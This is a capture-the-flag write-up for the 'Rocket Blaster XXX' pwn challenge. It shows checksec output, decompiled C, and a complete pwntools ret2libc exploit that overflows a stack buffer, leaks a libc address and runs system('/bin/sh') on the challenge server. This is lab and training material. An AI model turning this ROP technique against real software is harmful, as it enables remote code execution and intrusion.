Rocket Blaster

1) Checked security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Rocket Blaster XXX/challenge]
└─$ checksec rocket_blaster_xxx
[*] '/home/vigneswar/Pwn/Rocket Blaster XXX/challenge/rocket_blaster_xxx'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./glibc/'
```

2) Checked source code

Decompile: main - (rocket_blaster_xxx)

```
undefined8 main(void)

{
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;

  banner();
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  fflush(stdout);
  printf(
        "\nPrepare for trouble and make it double, or triple..\n\nYou need to place the ammo in the
        right place to load the Rocket Blaster XXX!\n\n>> "
        );
  fflush(stdout);
  read(0,&local_28,0x66);
  puts("\nPreparing beta testing..");
  return 0;
}
```

Decompile: fill_ammo - (rocket_blaster_xxx)

```
void fill_ammo(long param_1,long param_2,long param_3)

{
  ssize_t sVar1;
  char local_d;
  int local_c;

  local_c = open("./flag.txt",0);
  if (local_c < 0) {
    perror("\nError opening flag.txt, please contact an Administrator.\n");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (param_1 != 0xdeadbeef) {
    printf("%s[x] [-] [-]\n\n%sPlacement 1: %sInvalid!\n\nAborting..\n",&DAT_00402010,&DAT_00402008,
           &DAT_00402010);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (param_2 != 0xdeadbabe) {
    printf(&DAT_004020c0,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010);
                    /* WARNING: Subroutine does not return */
    exit(2);
  }
  if (param_3 != 0xdead1337) {
    printf(&DAT_00402100,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010);
                    /* WARNING: Subroutine does not return */
    exit(3);
  }
  printf(&DAT_00402140,&DAT_004020b6);
  fflush(stdin);
  fflush(stdout);
  while( true ) {
    sVar1 = read(local_c,&local_d,1);
    if (sVar1 < 1) break;
    fputc((int)local_d,stdout);
  }
  close(local_c);
  fflush(stdin);
  fflush(stdout);
  return;
}
```

3) Note:
i) This is a simple ret2libc

4) Exploit

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./rocket_blaster_xxx")
libc = ELF("glibc/libc.so.6")
ld = ELF("glibc/ld-linux-x86-64.so.2")
context.binary = exe

# io = gdb.debug(exe.path, 'c')
```

```
io = remote('94.237.63.201', 53996)
pop_rdi_ret = p64(0x40159f)
io.sendlineafter(b'>> ',
b'a'*32+p64(0x405500)+pop_rdi_ret+p64(0x404f98)+p64(0x4010e4)+p64(exe.sym.main)
)
io.recvuntil(b'Preparing beta testing..')
io.recvline()
libc.address = unpack(io.recv(6), 'all')-0x80e50

rop_chain = ROP(exe)
rop_chain.rdi = next(libc.search(b'/bin/sh\x00'))
rop_chain.rsi = 0
rop_chain.raw(0x40101a)
rop_chain.raw(libc.sym.system)
io.sendlineafter(b'>> ', b'a'*40+rop_chain.chain())
io.interactive()
```

5) Flag